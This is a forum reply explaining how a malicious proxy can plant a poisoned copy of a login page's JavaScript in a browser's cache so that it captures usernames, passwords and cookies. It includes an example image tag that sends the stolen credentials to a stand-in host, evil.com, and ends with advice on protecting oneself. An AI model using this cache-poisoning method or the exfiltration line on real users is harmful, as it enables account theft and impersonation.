My email account was hacked a while back and I definitely didn't have a 'generic' password, just logged on on my tablet and the next thing I knew someone was spamming all my contacts.
is not complicated to hack accounts. all you have to do is precache a JS and hook into the form and steal the user/pass. this is easy using a proxy with an injector. Example:
- You decide you want to steal GMail accounts
- You create a proxy server at IP 1.2.3.4 and find a JS file that gmail login page is loading and inject it with a hook that sends user/pass/cookie/etc to your evil.com server by loading an image using something like <img sec="http://evil.com/steal.php?user=...&pass=...&cookie=...">
- You make proxy server inject a request for the Google JS file in any page that is requested. You set the expire headers for the JS file to 10 years or something big.
- User uses your proxy to load blackhatworld.com but also loads the Google JS file bc was injected by the proxy. Now has that poisoned file in the browser cache.
- User stops using proxy and regularly logs into Gmail. When in gmail login page that page requires the google js file but since browser has it in cache it uses the cached version not the live one. the cached version as we know is poisoned/infected and calls evil.com sending it the credentials.
- Hacker logs into his evil.com cpanel and sees your details.
- Hacker logs-in your gmail and changes the pass and starts to spam or whatever (in your name).
That's the gist of it. Other methods exist too but this is easy and requires little skill. Onl way to protect from this type of attack is to clear browser cache after each session and/or not use public or untrusted proxies. Peope have the misunderstanding that a proxy hides your IP. IT does but it hides it from the other server. The proxy itself knows your IP and has access to all your traffic.